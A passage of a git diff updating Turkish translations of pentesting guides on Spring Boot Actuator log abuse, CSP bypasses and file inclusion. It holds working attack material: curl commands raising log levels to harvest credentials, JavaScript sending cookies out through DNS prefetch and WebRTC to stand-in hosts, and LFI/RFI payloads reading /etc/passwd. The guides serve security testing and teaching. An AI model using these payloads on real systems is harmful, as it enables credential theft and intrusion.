akışları sırasında gönderilen kimlik bilgileri (ör. Basic-Auth header'ları veya form parametreleri) sızdırılabilir. +Eğer `management.endpoints.web.exposure.include` izin veriyorsa ve `/actuator/loggers` erişilebiliyorsa, kimlik doğrulama ve istek işleme paketleri için dinamik olarak log seviyesini DEBUG/TRACE'e yükseltebilirsiniz. Okunabilir loglarla ( `/actuator/logfile` veya bilinen log yolları aracılığıyla) birleştiğinde, bu giriş akışlarında gönderilen credentials'ların (ör. Basic-Auth header'ları veya form parametreleri) sızmasına neden olabilir. -- Duyarlı logları listeleyin ve yükseltin: +- Duyarlı logger'ları listeleyip yüksek seviyeye çıkarma: ```bash # List available loggers curl -s http://target/actuator/loggers | jq . @@ -114,7 +114,7 @@ curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway -H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' ``` -- Logların nerede yazıldığını bulun ve toplayın: +- Logların nerelere yazıldığını bulup toplama: ```bash # If exposed, read from Actuator directly curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password=' @@ -123,14 +123,14 @@ curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|user curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))' ``` -- Login/authentication trafiğini tetikleyin ve logları kimlik bilgileri için parse edin. Gateway ile önüne konulan auth içeren mikroservis kurulumlarında, gateway/security paketleri için TRACE etkinleştirmek genellikle header'ları ve form gövdelerini görünür kılar. Bazı ortamlar periyodik olarak sentetik login trafiği bile üretebilir; logging verbose hale geldiğinde bu tür verilerin toplanması çok kolay olabilir. +- Giriş/kimlik doğrulama trafiğini tetikleyin ve loglarda credential'ları parse edin. Bir gateway'in auth önünde olduğu mikroservis kurulumlarında, gateway/security paketleri için TRACE açmak genellikle header'ları ve form gövdelerini görünür kılar. Bazı ortamlarda periyodik olarak sentetik login trafiği üretilir; bu durumda verbose logging etkinleştirildiğinde toplama çok kolaylaşır. Notlar: -- İşiniz bittiğinde log seviyelerini sıfırlayın: `POST /actuator/loggers/` ile `{ "configuredLevel": null }`. -- Eğer `/actuator/httpexchanges` açık ise, hassas header'ları içerebilecek son istek meta verilerini de gösterebilir. +- İş bitince log seviyelerini sıfırlayın: `POST /actuator/loggers/` ile `{ "configuredLevel": null }`. +- `/actuator/httpexchanges` erişilebiliyorsa, hassas header'lar da dahil olmak üzere son istek meta verilerini gösterebilir. -## Referanslar +## References - [Exploring Spring Boot Actuator Misconfigurations (Wiz)](https://www.wiz.io/blog/spring-boot-actuator-misconfigurations) - [VisualVM](https://visualvm.github.io/) diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index 512f93291..cb2478c45 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -2,30 +2,30 @@ {{#include ../../banners/hacktricks-training.md}} -## CSP Nedir +## CSP nedir -Content Security Policy (CSP), öncelikle cross-site scripting (XSS) gibi saldırılara karşı korunmayı amaçlayan bir tarayıcı teknolojisi olarak kabul edilir. Tarayıcıların güvenli bir şekilde yükleyebileceği kaynakların hangi yollar ve hangi kaynaklardan geleceğini tanımlayıp detaylandırarak çalışır. Bu kaynaklar resimler, frame'ler ve JavaScript gibi çeşitli öğeleri kapsar. Örneğin, bir politika aynı alanın (self) kaynaklarının yüklenmesine ve yürütülmesine izin verebilir; buna satır içi kaynaklar ve `eval`, `setTimeout` veya `setInterval` gibi fonksiyonlarla string kod yürütme dahildir. +Content Security Policy (CSP), esasen **cross-site scripting (XSS) gibi saldırılara karşı koruma sağlamayı** amaçlayan bir tarayıcı teknolojisi olarak bilinir. Tarayıcının güvenli bir şekilde yükleyebileceği kaynakların yollarını ve kaynak kaynaklarını belirleyip tanımlayarak çalışır. Bu kaynaklar resimler, frame'ler ve JavaScript gibi çeşitli öğeleri kapsar. Örneğin, bir politika aynı alan adından (self) kaynakların yüklenmesine ve çalıştırılmasına, inline kaynaklara ve `eval`, `setTimeout` veya `setInterval` gibi fonksiyonlar aracılığıyla string kodun yürütülmesine izin verebilir. -CSP'nin uygulanması **response headers** aracılığıyla veya HTML sayfasına **meta elements** eklenerek yapılır. Bu politikayı takiben, tarayıcılar bu şartları proaktif olarak uygular ve tespit edilen herhangi bir ihlali hemen engeller. +CSP, **response headers** aracılığıyla veya **HTML sayfasına meta öğeleri ekleyerek** uygulanır. Tarayıcılar bu politikayı proaktif olarak uygular ve tespit edilen ihlalleri anında engeller. -- Yanıt başlığı aracılığıyla uygulanır: +- Yanıt başlığı (response header) aracılığıyla uygulanır: ``` Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self'; ``` -- Meta etiketi ile uygulanır: +- meta tag ile uygulanır: ```xml ``` ### Başlıklar -CSP bu header'lar kullanılarak uygulanabilir veya izlenebilir: +CSP bu başlıklar kullanılarak zorlanabilir veya izlenebilir: - `Content-Security-Policy`: CSP'yi uygular; tarayıcı herhangi bir ihlali engeller. -- `Content-Security-Policy-Report-Only`: İzleme için kullanılır; ihlalleri engellemeden raporlar. Ön üretim ortamlarında test için idealdir. +- `Content-Security-Policy-Report-Only`: İzleme için kullanılır; ihlalleri bildirir ancak engellemez. Üretim öncesi ortamlarda test için idealdir. ### Kaynakların Tanımlanması -CSP, hem aktif hem de pasif içeriğin yüklenebileceği origin'leri kısıtlar; satır içi JavaScript çalıştırma ve `eval()` kullanımı gibi öğeleri kontrol eder. Örnek bir politika şu şekildedir: +CSP, aktif ve pasif içeriğin yüklenmesi için origin'leri kısıtlar; satır içi JavaScript yürütülmesi ve `eval()` kullanımı gibi yönleri kontrol eder. Örnek bir politika: ```bash default-src 'none'; img-src 'self'; @@ -39,42 +39,42 @@ object-src 'none'; ``` ### Direktifler -- **script-src**: JavaScript için URL'ler, inline scriptler ve olay işleyicileri veya XSLT stylesheet'leri tarafından tetiklenen scriptler dahil olmak üzere belirli kaynaklara izin verir. -- **default-src**: Belirli fetch direktifleri yoksa kaynakların alınması için varsayılan bir politika belirler. -- **child-src**: web worker'lar ve gömülü frame içeriği için izin verilen kaynakları belirtir. -- **connect-src**: fetch, WebSocket, XMLHttpRequest gibi arayüzler kullanılarak yüklenebilecek URL'leri kısıtlar. -- **frame-src**: frame'ler için URL'leri kısıtlar. -- **frame-ancestors**: Geçerli sayfayı gömebilecek kaynakları belirtir; ``, ` // The bot will load an URL with the payload @@ -549,22 +549,22 @@ run() ``` ### Bookmarklets ile -Bu saldırı, saldırganın kullanıcıyı tarayıcıdaki bookmarklet'in üzerine bir link sürükleyip bırakmaya ikna ettiği bir social engineering senaryosunu gerektirir. Bu bookmarklet, drag\&dropped edildiğinde veya tıklandığında mevcut web penceresinin bağlamında çalıştırılacak **malicious javascript** kodu içerir; bu da **CSP'yi atlayarak cookies veya tokens gibi hassas bilgileri çalmaya izin verir**. +Bu saldırı, saldırganın **kullanıcıyı tarayıcıdaki bookmarklet üzerine bir linki drag\&drop yapmaya ikna etmesi** şeklinde bir social engineering senaryosunu gerektirir. Bu bookmarklet, drag\&dropped veya tıklandığında mevcut web penceresinin bağlamında çalıştırılacak **malicious javascript** kodu içerir; bu, **CSP'i bypass ederek cookies veya tokens gibi hassas bilgileri çalmaya** olanak tanır. -Daha fazla bilgi için [**orijinal rapora buradan bakın**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). +Daha fazla bilgi için [**orijinal raporu burada inceleyin**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). -### CSP bypass — CSP'yi kısıtlayarak +### CSP'yi kısıtlayarak bypass -Bu [**CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution) içinde, CSP, izin verilen bir iframe içine daha kısıtlayıcı bir CSP enjekte edilerek atlatılmıştır; bu kısıtlayıcı CSP belirli bir JS dosyasının yüklenmesine izin vermiyordu ve daha sonra bu durum aracılığıyla **prototype pollution** veya **dom clobbering** ile farklı bir script'in kötüye kullanılarak rastgele bir script yüklemesine olanak sağlanmıştır. +In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP, izin verilen bir iframe içine daha kısıtlayıcı bir CSP enjekte edilerek bypass edilmiştir; bu CSP belirli bir JS dosyasının yüklenmesini engelliyor ve daha sonra, **prototype pollution** veya **dom clobbering** yoluyla, **farklı bir script'i suistimal ederek keyfî bir script yüklenmesine** izin veriyordu. -Bir Iframe'in CSP'sini **`csp`** attribute'u ile kısıtlayabilirsiniz: +Bir Iframe'in CSP'sini **kısıtlayabilirsiniz** **`csp`** attribute ile: ```html ``` -In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), **HTML injection** yoluyla bir **CSP** daha sıkı kısıtlanabildi; böylece CSTI'yi engelleyen bir script devre dışı kaldı ve bu nedenle **vulnerability became exploitable.**\ -CSP, **HTML meta tags** kullanılarak daha kısıtlayıcı hale getirilebilir ve inline script'ler, onların **nonce**'unu sağlayan **entry**'nin **removing** ile kaldırılmasıyla devre dışı bırakılabilir ve belirli inline script'ler **enable specific inline script via sha** ile etkinleştirilebilir: +Bu [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48) içinde, **HTML injection** ile **CSP** daha fazla **restrict** edilerek CSTI'yi önleyen bir script devre dışı bırakılabildi ve bu nedenle **vulnerability became exploitable.**\ +CSP, **HTML meta tags** kullanılarak daha kısıtlayıcı hale getirilebilir ve inline scripts, **removing** the **entry** allowing their **nonce** and **enable specific inline script via sha**: ```html ' ``` -### Leaking Bilgi: CSP ve Iframe ile +### Leaking Information with CSP and Iframe -- Bir `iframe` oluşturulur ve CSP tarafından izin verilen bir URL'ye (örneğin `https://example.redirect.com`) işaret eder. -- Bu URL daha sonra CSP tarafından **izin verilmeyen** gizli bir URL'ye (ör. `https://usersecret.example2.com`) yönlendirir. -- `securitypolicyviolation` event'ını dinleyerek `blockedURI` özelliği yakalanabilir. Bu özellik, engellenen URI'nın domainini ortaya çıkarır ve başlangıç URL'sinin yönlendirildiği gizli domaini sızdırır. +- Bir `iframe` oluşturulur ve CSP tarafından izin verilen bir URL'ye (ör. `https://example.redirect.com`) işaret eder. +- Bu URL daha sonra CSP tarafından **izin verilmeyen** gizli bir URL'ye (ör. `https://usersecret.example2.com`) yönlendirilir. +- `securitypolicyviolation` event'ini dinleyerek `blockedURI` özelliği yakalanabilir. Bu özellik, engellenen URI'nin alan adını ortaya çıkarır ve böylece ilk URL'nin yönlendirildiği gizli domain'in leak'ine neden olur. -Chrome ve Firefox gibi tarayıcıların, CSP ile ilgili olarak iframe'leri farklı şekillerde işlemeleri ilginçtir; bu, tanımsız davranışlar nedeniyle hassas bilgilerin sızmasına yol açabilir. +Chrome ve Firefox gibi tarayıcıların CSP bağlamında iframes'leri işlerken farklı davranışlar sergilediğini ve tanımsız (undefined) davranışlar nedeniyle hassas bilgilerin leak olabileceğini belirtmek ilginçtir. -Başka bir teknik, gizli alt alan adını çıkarmak için CSP'nin kendisinden faydalanmayı içerir. Bu yöntem, ikili arama algoritmasına dayanır ve belirli domainlerin kasıtlı olarak engellenmesi için CSP'nin ayarlanmasını gerektirir. Örneğin, gizli alt alan adı bilinmeyen karakterlerden oluşuyorsa, CSP direktifini değiştirerek bu alt alan adlarını engelleyip izin vererek adım adım farklı alt alan adlarını test edebilirsiniz. İşte bu yöntemi kolaylaştırmak için CSP'nin nasıl yapılandırılabileceğini gösteren bir snippet: +Başka bir teknik ise CSP'nin kendisinden faydalanarak gizli subdomain'i türetmeyi içerir. Bu yöntem ikili arama (binary search) algoritmasına dayanır ve CSP'yi kasıtlı olarak engellenmiş belirli domainleri içerecek şekilde ayarlamayı gerektirir. Örneğin, gizli subdomain bilinmeyen karakterlerden oluşuyorsa, CSP direktifini değiştirerek bu subdomain'leri engelleyen veya izin veren testler yaparak iteratif olarak farklı subdomain'leri deneyebilirsiniz. Aşağıda bu yöntemi kolaylaştırmak için CSP'nin nasıl yapılandırılabileceğini gösteren bir snippet bulunuyor: ```markdown img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev ``` -CSP tarafından engellenen veya izin verilen istekleri izleyerek, gizli alt alan adındaki olası karakterleri daraltmak ve sonunda tam URL'yi ortaya çıkarmak mümkün. +CSP tarafından hangi isteklerin engellendiğini veya izin verildiğini izleyerek, gizli alt etki alanındaki olası karakterler daraltılabilir ve sonunda tam URL ortaya çıkarılabilir. -Her iki yöntem de CSP uygulamasının ve tarayıcı davranışlarının nüanslarını istismar ederek, görünüşte güvenli politikaların kazara hassas bilgileri leak edebileceğini gösterir. +Her iki yöntem de CSP uygulamasının ve tarayıcı davranışının nüanslarını kullanır; bu da görünüşte güvenli politikaların istemeden hassas bilgileri leak edebileceğini gösterir. -Hile şu kaynaktan: [**here**](https://ctftime.org/writeup/29310). +Hile [**here**](https://ctftime.org/writeup/29310) kaynaklı. -## CSP Bypass İçin Güvensiz Teknolojiler +## CSP'yi Aşmak İçin Güvensiz Teknolojiler -### PHP Errors when too many params +### Çok fazla parametre olduğunda PHP Hataları -Video içindeki [**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM) kısmında belirtildiği üzere, çok fazla parametre göndermek (1001 GET parametresi; ayrıca POST params ile ve 20'den fazla dosyayla da yapılabilir). Bunun tetikleyeceği hata nedeniyle PHP web kodundaki tanımlı herhangi bir **`header()`** **gönderilmeyecektir**. +Bu videoda yorumlanan [**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM) göre, çok fazla parametre gönderilmesi (1001 GET parametresi; ayrıca POST parametreleriyle veya 20'den fazla dosyayla da yapılabilir) durumunda, PHP web kodunda tanımlı herhangi bir **`header()`** tetiklenecek hata nedeniyle **gönderilmeyecektir**. -### PHP response buffer overload +### PHP yanıt tamponunun aşılması -PHP'nin varsayılan olarak yanıtı **4096 byte'a kadar tamponladığı** bilinir. Bu nedenle, PHP bir uyarı gösteriyorsa, uyarılar içinde **yeterli veri** sağlayarak, **yanıt** **CSP header**'dan **önce** **gönderilecek**, bu da header'ın yok sayılmasına sebep olacaktır.\ +PHP varsayılan olarak yanıtı **4096** byte'a kadar tamponladığıyla bilinir. Bu nedenle, PHP bir uyarı gösteriyorsa, uyarılar içinde **yeterli veri** sağlayarak **yanıt** **CSP başlığından** **önce** **gönderilebilir**, bu da başlığın göz ardı edilmesine neden olur.\ +Teknik esasen CSP başlığının gönderilmemesi için yanıt tamponunu uyarılarla doldurmaktan ibarettir. -Böylece teknik temelde **yanıt tamponunu uyarılarla doldurmaktan** ibarettir, böylece CSP header gönderilmez. +Fikir [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points) kaynaklı. -Fikir [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points)'dan. +### max_input_vars ile CSP'yi devre dışı bırakma (headers already sent) -### Kill CSP via max_input_vars (headers already sent) - -Çünkü headers herhangi bir çıktıdan önce gönderilmek zorundadır, PHP tarafından üretilen uyarılar daha sonraki `header()` çağrılarını geçersiz kılabilir. Eğer kullanıcı girdisi `max_input_vars`'ı aşarsa, PHP önce bir startup uyarısı fırlatır; sonrasında yapılan `header('Content-Security-Policy: ...')` çağrısı “headers already sent” hatasıyla başarısız olur, bu da CSP'yi etkili bir şekilde devre dışı bırakır ve aksi takdirde engellenmiş reflective XSS'e izin verir. +Başlıklar her çıktının öncesinde gönderilmek zorunda olduğundan, PHP tarafından üretilen uyarılar sonraki `header()` çağrılarını geçersiz kılabilir. Kullanıcı girdisi `max_input_vars`'ı aşarsa, PHP önce bir startup uyarısı fırlatır; ardından yapılacak herhangi bir `header('Content-Security-Policy: ...')` “headers already sent” hatasıyla başarısız olur, bu da CSP'yi fiilen devre dışı bırakır ve aksi takdirde engellenen reflective XSS'e izin verir. ```php " @@ -636,7 +635,7 @@ curl -i "http://orange.local/?xss=&A=1&A=2&...&A=1000" ``` ### Hata Sayfasını Yeniden Yazma -Bu [**yazıda**](https://blog.ssrf.kr/69) görünüşe göre bir hata sayfasını (muhtemelen CSP olmadan) yükleyip içeriğini yeniden yazarak CSP korumasını aşmanın mümkün olduğu belirtiliyor. +Bu [**this writeup**](https://blog.ssrf.kr/69)'e göre, bir hata sayfası yükleyip (muhtemelen CSP olmadan) içeriğini yeniden yazarak CSP protection'ı bypass etmek mümkün görünüyordu. ```javascript a = window.open("/" + "x".repeat(4100)) setTimeout(function () { @@ -645,40 +644,41 @@ a.document.body.innerHTML = ` ``` ### DNS Prefetch -Sayfaları daha hızlı yüklemek için, tarayıcılar host adlarını IP adreslerine önceden çözer ve daha sonra kullanım için önbelleğe alır.\ -Bir tarayıcıya bir host adını önceden çözmesini şu etiketle belirtebilirsiniz: `` +Sayfaları daha hızlı yüklemek için tarayıcılar, host isimlerini IP adreslerine önceden çözümleyip ileride kullanım için önbelleğe alır.\ +Bir tarayıcıya bir host adını önceden çözümlemesini şu şekilde belirtebilirsiniz: `` -Bu davranışı DNS istekleri yoluyla **hassas bilgileri sızdırmak** için kötüye kullanabilirsiniz: +Bu davranışı **exfiltrate sensitive information via DNS requests** için kötüye kullanabilirsiniz: ```javascript var sessionid = document.cookie.split("=")[1] + "." var body = document.getElementsByTagName("body")[0] @@ -695,18 +695,18 @@ linkEl.rel = "prefetch" linkEl.href = urlWithYourPreciousData document.head.appendChild(linkEl) ``` -Bunun olmasını önlemek için sunucu şu HTTP başlığını gönderebilir: +Bunun olmasını önlemek için sunucu şu HTTP header'ı gönderebilir: ``` X-DNS-Prefetch-Control: off ``` > [!TIP] -> Görünüşe göre bu teknik headless browsers (bots) üzerinde çalışmıyor +> Görünüşe göre bu teknik headless tarayıcılarda (botlarda) çalışmıyor ### WebRTC -Bazı sayfalarda **WebRTC'nin CSP'deki `connect-src` politikasını kontrol etmediğini** okuyabilirsiniz. +Birkaç sayfada **WebRTC'nin CSP'nin `connect-src` politikasını kontrol etmediğini** okuyabilirsiniz. -Aslında bir _leak_ elde edebilirsiniz _DNS request_ kullanarak. Koda göz atın: +Aslında bir _DNS request_ kullanarak _leak_ yapabilirsiniz. Bu koda göz atın: ```javascript ;(async () => { p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] }) @@ -728,7 +728,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp); ``` ### CredentialsContainer -Kimlik bilgileri açılır penceresi, sayfa tarafından kısıtlanmadan iconURL'ye bir DNS isteği gönderir. Yalnızca güvenli bir bağlamda (HTTPS) veya localhost'ta çalışır. +Kimlik bilgileri açılır penceresi, sayfa tarafından kısıtlanmadan iconURL'e bir DNS isteği gönderir. Bu yalnızca güvenli bağlam (HTTPS) veya localhost üzerinde çalışır. ```javascript navigator.credentials.store( new FederatedCredential({ @@ -744,7 +744,7 @@ iconURL:"https:"+your_data+"example.com" - [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com) - [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/) -## CSP'yi Otomatik Olarak Oluşturma +## CSP Otomatik Oluşturma [https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy) diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md index c5d6d0fa7..e967274ef 100644 --- a/src/pentesting-web/file-inclusion/README.md +++ b/src/pentesting-web/file-inclusion/README.md @@ -4,14 +4,14 @@ ## File Inclusion -**Remote File Inclusion (RFI):** Dosya uzak bir sunucudan yüklenir (Avantaj: Kodu siz yazıp sunucunun çalıştırmasını sağlayabilirsiniz). php'de bu varsayılan olarak **devre dışı**dır (**allow_url_include**).\ +**Remote File Inclusion (RFI):** Dosya uzak bir sunucudan yüklenir (En iyi: Siz kodu yazarsınız ve sunucu onu çalıştırır). In php this is **disabled** by default (**allow_url_include**).\ **Local File Inclusion (LFI):** Sunucu yerel bir dosya yükler. -The vulnerability occurs when the user can control in some way the file that is going to be load by the server. +Zafiyet, kullanıcının sunucunun yükleyeceği dosyayı bir şekilde kontrol edebilmesi durumunda ortaya çıkar. -Zafiyete açık **PHP fonksiyonları**: require, require_once, include, include_once +Zafiyetli **PHP fonksiyonları**: require, require_once, include, include_once -Bu zafiyeti istismar etmek için faydalı bir araç: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) +Bu zafiyeti istismar etmek için ilginç bir araç: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) ## Blind - Interesting - LFI2RCE files ```python @@ -19,17 +19,17 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../ ``` ### **Linux** -**Birkaç \*nix LFI listesini birleştirip daha fazla yol ekleyerek bunu oluşturdum:** +**Birden fazla \*nix LFI listesini birleştirip daha fazla yol ekleyerek bunu oluşturdum:** {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt {{#endref}} -Ayrıca `/`'i `\` ile değiştirmeyi deneyin\ -Ayrıca `../../../../../` eklemeyi deneyin +Try also to change `/` for `\`\ +Try also to add `../../../../../` -/etc/password dosyasını bulmak için çeşitli teknikler kullanan bir liste (zafiyetin varlığını kontrol etmek için) şu adreste bulunabilir [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) +Dosya /etc/password'ı bulmak için çeşitli teknikler kullanan bir liste (zafiyetin olup olmadığını kontrol etmek için) burada bulunabilir [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) ### **Windows** @@ -40,22 +40,22 @@ Farklı wordlists'lerin birleşimi: https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt {{#endref}} -Ayrıca `/`'i `\` ile değiştirmeyi deneyin\ -Ayrıca `C:/`'yi kaldırıp `../../../../../` eklemeyi deneyin +Try also to change `/` for `\`\ +Try also to remove `C:/` and add `../../../../../` -/boot.ini dosyasını bulmak için çeşitli teknikler kullanan bir liste (zafiyetin varlığını kontrol etmek için) şu adreste bulunabilir [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) +Dosya /boot.ini'yi bulmak için çeşitli teknikler kullanan bir liste (zafiyetin olup olmadığını kontrol etmek için) burada bulunabilir [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) ### **OS X** -Linux LFI listesini kontrol edin. +Linux'un LFI listesine bakın. -## Basic LFI and bypasses +## Temel LFI ve bypasses -Tüm örnekler Local File Inclusion için verilmiştir ancak Remote File Inclusion'a da uygulanabilir (page=[http://myserver.com/phpshellcode.txt\\](). +Tüm örnekler Local File Inclusion içindir ancak Remote File Inclusion'a da uygulanabilir (page=[http://myserver.com/phpshellcode.txt\\](). ``` http://example.com/index.php?page=../../../etc/passwd ``` -### traversal sequences özyinelemeli olmayan şekilde çıkarıldı +### traversal sequences özyinelemeli olmayan şekilde kaldırıldı ```python http://example.com/index.php?page=....//....//....//etc/passwd http://example.com/index.php?page=....\/....\/....\/etc/passwd @@ -63,15 +63,15 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd ``` ### **Null byte (%00)** -Sağlanan string'in sonuna eklenen ekstra karakterleri atlatma (bypass of: $\_GET\['param']."php") +Bypass: sağlanan dizenin sonuna eklenen ekstra karakterleri atlatma (bypass of: $\_GET\['param']."php") ``` http://example.com/index.php?page=../../../etc/passwd%00 ``` -Bu **PHP 5.4**'ten beri çözülmüştür +Bu, **PHP 5.4'ten beri çözüldü** ### **Kodlama** -Standart olmayan kodlamalar kullanabilirsiniz, örneğin double URL encode (ve diğerleri): +Standart olmayan kodlamalar kullanabilirsiniz; örneğin çift URL encode (ve diğerleri): ``` http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd @@ -84,38 +84,38 @@ Belki back-end klasör yolunu kontrol ediyordur: ```python http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd ``` -### Bir Sunucuda Dosya Sistemi Dizinlerini Keşfetme +### Sunucuda Dosya Sistemi Dizinlerini Keşfetme -Bir sunucunun dosya sistemi, yalnızca dosyaları değil dizinleri de tanımlamak için belirli teknikler kullanılarak özyinelemeli şekilde keşfedilebilir. Bu işlem, dizin derinliğinin belirlenmesini ve belirli klasörlerin varlığının test edilmesini içerir. Bunu başarmak için ayrıntılı bir yöntem aşağıdadır: +Sunucunun dosya sistemi, sadece dosyaları değil dizinleri de belirlemek için belirli teknikler kullanılarak özyinelemeli olarak keşfedilebilir. Bu süreç, dizin derinliğinin belirlenmesini ve belirli klasörlerin varlığının sorgulanmasını içerir. Bunu başarmak için ayrıntılı bir yöntem aşağıdadır: -1. **Dizin Derinliğini Belirleme:** Mevcut dizininizin derinliğini `/etc/passwd` dosyasını başarıyla çekerek belirleyin (sunucu Linux tabanlıysa geçerlidir). Örnek bir URL aşağıdaki gibi yapılandırılmış olabilir ve derinliğin üç olduğunu gösterir: +1. **Dizin Derinliğini Belirleme:** Bulunduğunuz dizinin derinliğini, `/etc/passwd` dosyasını başarıyla getirerek (sunucu Linux tabanlı ise geçerlidir) belirleyin. Örnek bir URL aşağıdaki gibi yapılandırılabilir; bu, derinliğin üç olduğunu gösterir: ```bash http://example.com/index.php?page=../../../etc/passwd # depth of 3 ``` -2. **Klasörleri Sınayın:** URL'ye şüpheli klasörün adını (ör. `private`) ekleyin, ardından `/etc/passwd`'e geri dönün. Eklenen dizin seviyesi derinliği bir artırmayı gerektirir: +2. **Klasörleri Sorgula:** Şüphelenilen klasörün adını (ör. `private`) URL'ye ekleyin, sonra `/etc/passwd`'e geri gidin. Ek dizin seviyesi derinliği bir artırmayı gerektirir: ```bash http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4 ``` -3. **Sonuçları Yorumlayın:** Sunucunun yanıtı klasörün var olup olmadığını gösterir: -- **Hata / Çıktı Yok:** Belirtilen konumda `private` klasörü muhtemelen yok. +3. **Sonuçları Yorumlama:** Sunucunun yanıtı klasörün var olup olmadığını gösterir: +- **Hata / Çıktı Yok:** `private` klasörü belirtilen konumda muhtemelen yoktur. - **`/etc/passwd` içeriği:** `private` klasörünün varlığı doğrulanır. -4. **Yinelemeli Keşif:** Keşfedilen klasörler, aynı teknik veya geleneksel Local File Inclusion (LFI) yöntemleri kullanılarak alt dizinler veya dosyalar açısından daha fazla araştırılabilir. +4. **Yinelemeli Keşif:** Bulunan klasörler, aynı teknik veya geleneksel Local File Inclusion (LFI) yöntemleri kullanılarak alt dizinler veya dosyalar için daha fazla sorgulanabilir. -Dosya sistemindeki farklı konumlardaki dizinleri keşfetmek için payload'u buna göre ayarlayın. Örneğin, mevcut dizinin derinliği 3 olduğunu varsayarak `/var/www/` içinde `private` dizini olup olmadığını kontrol etmek için şunu kullanın: +Dosya sistemindeki farklı konumlardaki dizinleri keşfetmek için payload'u buna göre ayarlayın. Örneğin, `/var/www/` içinde bir `private` dizini olup olmadığını kontrol etmek için (mevcut dizinin derinliği 3 kabul edilirse) şunu kullanın: ```bash http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd ``` ### **Path Truncation Technique** -Path truncation, web uygulamalarında dosya yollarını manipüle etmek için kullanılan bir yöntemdir. Genellikle, dosya yollarının sonuna ek karakterler ekleyen bazı güvenlik önlemlerini atlayarak kısıtlı dosyalara erişmek için kullanılır. Amaç, güvenlik önlemi tarafından değiştirilse bile hedef dosyayı gösterecek şekilde bir dosya yolu oluşturmaktır. +Path truncation, web uygulamalarında dosya yollarını manipüle etmek için kullanılan bir yöntemdir. Genellikle dosya yollarının sonuna ek karakterler ekleyen bazı güvenlik önlemlerini atlatarak erişimi kısıtlanmış dosyalara ulaşmak için kullanılır. Amaç, güvenlik önlemi tarafından değiştirildiğinde bile hedef dosyaya işaret eden bir dosya yolu oluşturmaktır. -In PHP, dosya sisteminin doğası gereği bir dosya yolunun çeşitli temsil biçimleri eşdeğer kabul edilebilir. Örneğin: +In PHP, çeşitli dosya yolu gösterimleri dosya sistemi doğası gereği eşdeğer kabul edilebilir. Örneğin: -- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd` ve `/etc/passwd/` aynı yol olarak değerlendirilir. -- Son 6 karakter `passwd` ise, sonuna `/` eklemek (yani `passwd/` yapmak) hedef dosyayı değiştirmez. -- Benzer şekilde, bir dosya yolunun sonuna `.php` eklenmişse (ör. `shellcode.php`), sonuna `/.` eklemek erişilen dosyayı değiştirmez. +- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, ve `/etc/passwd/` aynı yol olarak işlem görür. +- Son 6 karakter `passwd` olduğunda, sonuna `/` eklemek (yani `passwd/` yapmak) hedeflenen dosyayı değiştirmez. +- Benzer şekilde, bir dosya yoluna `.php` eklendiğinde (ör. `shellcode.php`), sonuna `/.` eklemek erişilen dosyayı değiştirmez. -Aşağıdaki örnekler, hassas içeriği (kullanıcı hesap bilgileri) nedeniyle sıkça hedef olan `/etc/passwd` dosyasına erişmek için path truncation'ın nasıl kullanılacağını gösterir: +Aşağıdaki örnekler, hassas içeriği (kullanıcı hesap bilgileri) nedeniyle sık hedef olan `/etc/passwd` dosyasına erişmek için path truncation kullanımını göstermektedir: ``` http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE].... http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././. @@ -125,17 +125,17 @@ 